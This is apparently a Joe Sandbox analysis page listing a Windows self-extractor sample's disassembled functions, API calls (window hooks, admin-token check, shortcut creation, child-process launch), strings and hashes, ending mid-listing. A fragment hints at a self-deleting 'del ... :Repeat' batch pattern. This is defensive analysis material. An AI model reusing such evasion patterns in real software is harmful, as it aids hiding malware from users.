Instruction ID: 78ea6f58b6c007c21ca8543ec41bf80dc5d167b0896979d67dadc0a8fcb0d376
Opcode Fuzzy Hash: d0a5d61d4e970fa2e12ee4e43d613ab26048e5a8235c629d0d05804913e14dc8
Instruction Fuzzy Hash: 86216131601208BADB11AF61EC59EFE3B7CAF44746F1444BAF405B21D1EB389B45CA69

Function 00408DBB Relevance: 7.5, APIs: 5, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00408DDA
SetWindowsHookExW.USER32(00000007,Function_00008D01,00000000,00000000), ref: 00408DE5
GetCurrentThreadId.KERNEL32 ref: 00408DF4
SetWindowsHookExW.USER32(00000002,Function_00008D8D,00000000,00000000), ref: 00408DFF
EndDialog.USER32(?,00000000), ref: 00408E25

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CurrentHookThreadWindows$Dialog
String ID:
API String ID: 1967849563-0
Opcode ID: 64107a2dc15b1d7316d888ad8cd960e682b3da45f1fa61c15e116e140322c59e
Instruction ID: b9e6956ff065cd05f2df324d2b5f6df6e8dcd0ec849c0deb45459710c318944d
Opcode Fuzzy Hash: 64107a2dc15b1d7316d888ad8cd960e682b3da45f1fa61c15e116e140322c59e
Instruction Fuzzy Hash: 51012671201218DFD2106F57ED44AB2F3ECEF54395B01843FE606D29A0CBB758008F69

Function 00402744 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,004066A7,?,?,?,?,004066A7), ref: 0040277D
CheckTokenMembership.ADVAPI32(00000000,004066A7,?,?,?,?,004066A7,00000000,?,?), ref: 0040278F
FreeSid.ADVAPI32(004066A7,?,?,?,004066A7,00000000,?,?), ref: 00402798

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 65cc84debf9a599d2aa76ae24c15b7a3b387b9e5edbe49ca06617e6efb59e37b
Instruction ID: 8fcaf4468ec200eb9195fd6454b881e9af9bec8ea6f7a7215fc0dea95779660d
Opcode Fuzzy Hash: 65cc84debf9a599d2aa76ae24c15b7a3b387b9e5edbe49ca06617e6efb59e37b
Instruction Fuzzy Hash: 44F03176945248FEDB01DFE88D85ADDBF7CAB18200F4480AAE105A3182D2705714CB29

Function 0040D480 Relevance: 2.7, APIs: 2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70cc6543f89a80714e3e390a279f58e7cec3ea9652c2d41397cab368ec3e5f33
Instruction ID: c7f49ce94350c58bf9a178907c982dec7311dfba9986166f982fc986de3302c0
Opcode Fuzzy Hash: 70cc6543f89a80714e3e390a279f58e7cec3ea9652c2d41397cab368ec3e5f33
Instruction Fuzzy Hash: E361B671A147019BC728DF78C4A16EBF7E0BF40308F440A2FD58A9BA81D739B549C795

Function 0040AC20 Relevance: 1.4, Strings: 1, Instructions: 186COMMON

Download Yara Rule

Strings

SetEnvironment, xrefs: 0040AC23

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: SetEnvironment
API String ID: 0-360490078
Opcode ID: c7bfdb3e15d592c1de232d933842c4ab9efd31f480a5751ca1ce541d06df7cb1
Instruction ID: a70ae2ba77342e2fa0442e9f712db7fa661bebf9b46ff7160e2a4c09fbd55f3e
Opcode Fuzzy Hash: c7bfdb3e15d592c1de232d933842c4ab9efd31f480a5751ca1ce541d06df7cb1
Instruction Fuzzy Hash: AF71126610DBD08FC3228B3D9C95265BFE1AEA3105B4D8ACDC0E64BB93D426E10CDB75

Function 0040A900 Relevance: 1.4, Strings: 1, Instructions: 167COMMON

Download Yara Rule

Strings

A, xrefs: 0040A921

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: A
API String ID: 0-2078354741
Opcode ID: cab503b8d0af9376babe026cf16f77c57ae0b2221e255354d54cb8a8048025ec
Instruction ID: 83c227925f6feaddc60b1c5dc2dd2bb0d1016e3deb83b34307da0ad7d07c5c6c
Opcode Fuzzy Hash: cab503b8d0af9376babe026cf16f77c57ae0b2221e255354d54cb8a8048025ec
Instruction Fuzzy Hash: B5615A725087118FC318DF49D48494AF3E1FFC8318F1A8A6DEA885B361D771E959CB86

Function 0040ED00 Relevance: .5, Instructions: 479COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1df083afa2ec122568cef5a0170ccce4311ab5785baa6c9343831b33b0cc2ec
Instruction ID: 8cec78a6a68e099a16e582f3a8e71d5628037794c160d545261e982a803351c6
Opcode Fuzzy Hash: b1df083afa2ec122568cef5a0170ccce4311ab5785baa6c9343831b33b0cc2ec
Instruction Fuzzy Hash: 02022E72A042118BD71CCE28C59027DBBE2FBC4344F150A3FE89667BD4D6789958CB9A

Function 0040A270 Relevance: .3, Instructions: 271COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3dfa02b277370bfe2ec98d47c5a79ead9a97245a421863a61a189d28b752ac7c
Instruction ID: 00da42485b8df296a223d8a4bb0704d2d4beee18af5583a36affb2337f9ab949
Opcode Fuzzy Hash: 3dfa02b277370bfe2ec98d47c5a79ead9a97245a421863a61a189d28b752ac7c
Instruction Fuzzy Hash: 50D183368882628FE308CF1ADC44566B7A2BFCD350F4E8A79DD9527652C334B913CB95

Function 00409DD0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91de5e9ca90c5c66c09e0000d0865218a8ccaff647e0888f7f8b7f535350ac81
Instruction ID: 5ec5f7016d4c94f6aa32e55c68bec760aaf54e75b98fe93e418b11edeadc38de
Opcode Fuzzy Hash: 91de5e9ca90c5c66c09e0000d0865218a8ccaff647e0888f7f8b7f535350ac81
Instruction Fuzzy Hash: 95D1A43A9082A28FE758CF19D850126B7E2AFC9350F8E457DD98427653C334F912DBD9

Function 0040B0E0 Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 692e8d5a784aa824240187812a4086a9ace9186d529d49d216be83ef82546555
Instruction ID: e08defff148b5926bcd092bf2a3d3211465a78a42eddcaea689309228d3a1ec9
Opcode Fuzzy Hash: 692e8d5a784aa824240187812a4086a9ace9186d529d49d216be83ef82546555
Instruction Fuzzy Hash: BD41F231B506250AF30C8FA99CD41962FC3E7CA3D2788C63DCA65C6299DABDC057D26C

Function 0040B0E4 Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fe830799879132e88faa9bdf83c895a4da26f2b58621200bb7b6a207094dda4
Instruction ID: eb176d849e67670fb013f548a384bfff0e8aae9c15968500794edb79f18e410b
Opcode Fuzzy Hash: 0fe830799879132e88faa9bdf83c895a4da26f2b58621200bb7b6a207094dda4
Instruction Fuzzy Hash: 5341F131B506250AE31C8FA98CD41963BD3E7C93D2B88C63CCA65C6299DABDC057D258

Function 00419973 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e781e73348b070714efe4b9f1f387dbcbf5b044bf6c7f23a7a0004d2e0ca769a
Instruction ID: f9960863feca845e0a2bb083c79b3a3513025fe6868613be1ab6860882a09a92
Opcode Fuzzy Hash: e781e73348b070714efe4b9f1f387dbcbf5b044bf6c7f23a7a0004d2e0ca769a
Instruction Fuzzy Hash: C841A361814B9653EB124F7CC842262B320BFAB244F00D75AFDD179963FB326944A655

Function 00409C20 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6961a6851b0df35e6703018b4a68322b5050cf4149273f733f52e21d87ed88d
Instruction ID: 2c4e62fec3df849f69a94679f1f46bc3cd0136aa7d98a83dd15acafa6a63b64e
Opcode Fuzzy Hash: d6961a6851b0df35e6703018b4a68322b5050cf4149273f733f52e21d87ed88d
Instruction Fuzzy Hash: 6F31E8B5F042620BF3118F1F8880165FBD29FD5210B8981BAD8A89B787D23ADC5287E4

Function 00418F40 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b803c9f07239feea0f262575304a291407bbcdaffd7af9557fce45a952fefe0a
Instruction ID: 23724df58c7f4124a6ae017cfa66e22fcdf8c0dadb3566f48448e1b23328b563
Opcode Fuzzy Hash: b803c9f07239feea0f262575304a291407bbcdaffd7af9557fce45a952fefe0a
Instruction Fuzzy Hash: A1211D3B360D4606EB0C8979AD377BE24C2E344306F88A53DD247C5785DEAE9895C60D

Function 00419601 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a91e830b051fd3563903b3b4c558af91fd9d6843125d3e1887e1db665648e344
Instruction ID: 7846ea4dd02955097ce76b2bf4ea308812a0db0251b0987ea2224bd12e479c0c
Opcode Fuzzy Hash: a91e830b051fd3563903b3b4c558af91fd9d6843125d3e1887e1db665648e344
Instruction Fuzzy Hash: 3221F53290062587CB02CE6EE4945A7F3A1FBD436AF134627ED8467290C628EC54C6A0

Function 004196DB Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d88b4545622fc2f48369f3988b55fed1d0241348448e0d26e09a3dd7181b3030
Instruction ID: 105f30e58fdbd480065e7f59d5795cdd8ec51099ca66f560f0d6eda42b15b9fd
Opcode Fuzzy Hash: d88b4545622fc2f48369f3988b55fed1d0241348448e0d26e09a3dd7181b3030
Instruction Fuzzy Hash: 3D21077252442587C701DF2DE4986B7B3E1FFD4329F638A3BD9928B2C0C628DC85D6A4

Function 00405489 Relevance: 56.2, APIs: 30, Strings: 2, Instructions: 213threadprocesssynchronizationCOMMON

Download Yara Rule

APIs

GetCommandLineW.KERNEL32(?,00000000,?), ref: 004054AA
??3@YAXPAX@Z.MSVCRT ref: 0040556D
??3@YAXPAX@Z.MSVCRT ref: 00405575
??3@YAXPAX@Z.MSVCRT ref: 0040557D
??3@YAXPAX@Z.MSVCRT ref: 00405585
??3@YAXPAX@Z.MSVCRT ref: 0040558D
??3@YAXPAX@Z.MSVCRT ref: 00405595
??3@YAXPAX@Z.MSVCRT ref: 0040559D
??3@YAXPAX@Z.MSVCRT ref: 004055A5
??3@YAXPAX@Z.MSVCRT ref: 004055AD
??3@YAXPAX@Z.MSVCRT ref: 004055B5
GetStartupInfoW.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 004055CE
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000001,01000004,00000000,00000044,?), ref: 004055F5
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000000), ref: 004055FF
??3@YAXPAX@Z.MSVCRT ref: 0040560A
??3@YAXPAX@Z.MSVCRT ref: 00405612
CreateJobObjectW.KERNEL32(00000000,00000000), ref: 00405627
AssignProcessToJobObject.KERNEL32(00000000,?), ref: 0040563E
CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000001,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 0040564E
SetInformationJobObject.KERNEL32(?,00000007,?,00000008), ref: 0040566F
ResumeThread.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00405678
GetQueuedCompletionStatus.KERNEL32(00000000,?,?,?,000000FF,?,?,?,?,?,?,?,?,?,00000000), ref: 00405697
ResumeThread.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 004056A0
WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,00000000), ref: 004056A7
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 004056B6
GetExitCodeProcess.KERNEL32(?,?), ref: 004056BF
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 004056CA
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,00000000), ref: 004056D6
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 004056DD
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 004056E8

Strings

sfxwaitall, xrefs: 004054D0
" -, xrefs: 004054D5

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ??3@$CloseHandleObject$CreateProcess$CompletionErrorLastResumeThread$AssignCodeCommandExitInfoInformationLinePortQueuedSingleStartupStatusWait
String ID: " -$sfxwaitall
API String ID: 2734624574-3991362806
Opcode ID: c2e281962814c2bd4c040bf537fa2d9b9fa3379860e294df17422ee88ae54ba2
Instruction ID: 96b1f86dbfc8e56d759c45ddf3715b356338dee30da8fd38d33b0e85c5ab07db
Opcode Fuzzy Hash: c2e281962814c2bd4c040bf537fa2d9b9fa3379860e294df17422ee88ae54ba2
Instruction Fuzzy Hash: F66151B2801108BBDF11AFA2DC45DDF3B7DFF48314F004536F915A21A1EB3A99549B69

Function 00403B54 Relevance: 38.8, APIs: 20, Strings: 2, Instructions: 290comCOMMON

Download Yara Rule

APIs

_wtol.MSVCRT([@,00000000,0041E9F4), ref: 00403B78
SHGetSpecialFolderPathW.SHELL32(00000000,?,?,00000000,0041EA00,00000000,0041E9F4), ref: 00403C1B
??3@YAXPAX@Z.MSVCRT ref: 00403C8C
??3@YAXPAX@Z.MSVCRT ref: 00403C94
??3@YAXPAX@Z.MSVCRT ref: 00403C9C
??3@YAXPAX@Z.MSVCRT ref: 00403CA4
??3@YAXPAX@Z.MSVCRT ref: 00403CAC
??3@YAXPAX@Z.MSVCRT ref: 00403CB4
??3@YAXPAX@Z.MSVCRT ref: 00403CBC
_wtol.MSVCRT(?,00000000,?,00000000,?,00000000,?,00000000,?,00000000,?,00000000,?,00000000,?,?), ref: 00403D12
CoCreateInstance.OLE32(0041C454,00000000,00000001,0041C414,[@,.lnk,?,0000005C), ref: 00403DB3
??3@YAXPAX@Z.MSVCRT ref: 00403E4B
??3@YAXPAX@Z.MSVCRT ref: 00403E53
??3@YAXPAX@Z.MSVCRT ref: 00403E5B
??3@YAXPAX@Z.MSVCRT ref: 00403E63
??3@YAXPAX@Z.MSVCRT ref: 00403E6B
??3@YAXPAX@Z.MSVCRT ref: 00403E73
??3@YAXPAX@Z.MSVCRT ref: 00403E7B
??3@YAXPAX@Z.MSVCRT ref: 00403E81
??3@YAXPAX@Z.MSVCRT ref: 00403E89

Strings

[@, xrefs: 00403B65, 00403D9F, 00403DC1, 00403E13, 00403E3F, 00403E06, 00403DF5, 00403DE4, 00403DD3, 00403B77, 00403C7C, 00403DA2, 00403DCA, 00403DDB, 00403DEC, 00403DFD, 00403E0F, 00403E21, 00403E44
.lnk, xrefs: 00403D92

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ??3@$_wtol$CreateFolderInstancePathSpecial
String ID: .lnk$[@
API String ID: 408529070-3575931549
Opcode ID: bf0e8a7df910328bb8376132718844ce6bb33e016dc20b09a56e47b2bf9c17d8
Instruction ID: 946a9f5c9c0093345211e4afafb7f9b8cfdd3f629f77b347e180bd11e348c725
Opcode Fuzzy Hash: bf0e8a7df910328bb8376132718844ce6bb33e016dc20b09a56e47b2bf9c17d8
Instruction Fuzzy Hash: 57A16E75810108ABCF15EFA1CC969EEBB7DFF19306F50442AF402B61A1EB399E41CB58

Function 00404F0E Relevance: 37.0, APIs: 3, Strings: 18, Instructions: 227stringCOMMON

Download Yara Rule

APIs

_wtol.MSVCRT(00000000), ref: 004050E7
_wtol.MSVCRT(00000000), ref: 00405103
lstrcmpiW.KERNEL32(00000000,0041B810,?,?,?,?,?,?,?,?,?,?,?,?,?,004062C4), ref: 00404FEA

Part of subcall function 0040247D: GetLastError.KERNEL32(00000000,?,?), ref: 004024CC
Part of subcall function 0040247D: wsprintfW.USER32 ref: 004024DD
Part of subcall function 0040247D: GetEnvironmentVariableW.KERNEL32(?,00000000,00000000), ref: 004024F2
Part of subcall function 0040247D: GetLastError.KERNEL32 ref: 004024F7
Part of subcall function 0040247D: ??2@YAPAXI@Z.MSVCRT ref: 00402512
Part of subcall function 0040247D: GetEnvironmentVariableW.KERNEL32(?,00000000,?), ref: 00402525
Part of subcall function 0040247D: GetLastError.KERNEL32 ref: 0040252C
Part of subcall function 0040247D: lstrcmpiW.KERNEL32(00939188,?), ref: 00402541
Part of subcall function 0040247D: ??3@YAXPAX@Z.MSVCRT ref: 00402551
Part of subcall function 0040247D: SetLastError.KERNEL32(00000003), ref: 00402578
Part of subcall function 0040247D: lstrlenA.KERNEL32(0041B328), ref: 004025AC
Part of subcall function 0040247D: ??2@YAPAXI@Z.MSVCRT ref: 004025C7
Part of subcall function 0040247D: GetLocaleInfoW.KERNEL32(?,00001004,?,0000001F), ref: 004025F9

Strings

GUIMode, xrefs: 00404FFF
ExtractPathWidth, xrefs: 004050F0
PasswordTitle, xrefs: 00405154
ExtractPathText, xrefs: 00405124
ExtractCancelText, xrefs: 004050AC
ExtractDialogWidth, xrefs: 004050C9
GUIFlags, xrefs: 00405049, 0040504E, 0040506A
PasswordText, xrefs: 0040516C
Progress, xrefs: 00404FD2
ExtractTitle, xrefs: 00404FBA
ExtractDialogText, xrefs: 004050B8
ErrorTitle, xrefs: 00404F8A
CancelPrompt, xrefs: 0040513C
Title, xrefs: 00404F1C
ExtractPathTitle, xrefs: 0040510C
WarningTitle, xrefs: 00404FA2
OverwriteMode, xrefs: 0040502C
MiscFlags, xrefs: 0040507C, 00405081, 0040509D

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorLast$??2@EnvironmentVariable_wtollstrcmpi$??3@InfoLocalelstrlenwsprintf
String ID: CancelPrompt$ErrorTitle$ExtractCancelText$ExtractDialogText$ExtractDialogWidth$ExtractPathText$ExtractPathTitle$ExtractPathWidth$ExtractTitle$GUIFlags$GUIMode$MiscFlags$OverwriteMode$PasswordText$PasswordTitle$Progress$Title$WarningTitle
API String ID: 2725485552-2157245290
Opcode ID: d0ccb95079a2c606f9a3c0ce682cef1d136eaf38159f665c4b074d3e10087a1f
Instruction ID: 66a2ce9ff7a2cb702224bd8f74ea761d5872454bbbc4643ec2785d60350ddd68
Opcode Fuzzy Hash: d0ccb95079a2c606f9a3c0ce682cef1d136eaf38159f665c4b074d3e10087a1f
Instruction Fuzzy Hash: AC51D8F1E016007ADA216B275D4ADAF366CEB85704B28443BFD04F22D6E77C4A4046EF

Function 00405793 Relevance: 36.9, APIs: 14, Strings: 7, Instructions: 144fileCOMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNEL32(?,?,?), ref: 004057DA
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 0040580B
WriteFile.KERNEL32(0041EA30,?,?,00407468,00000000,del ",:Repeat,00000000), ref: 004058C0
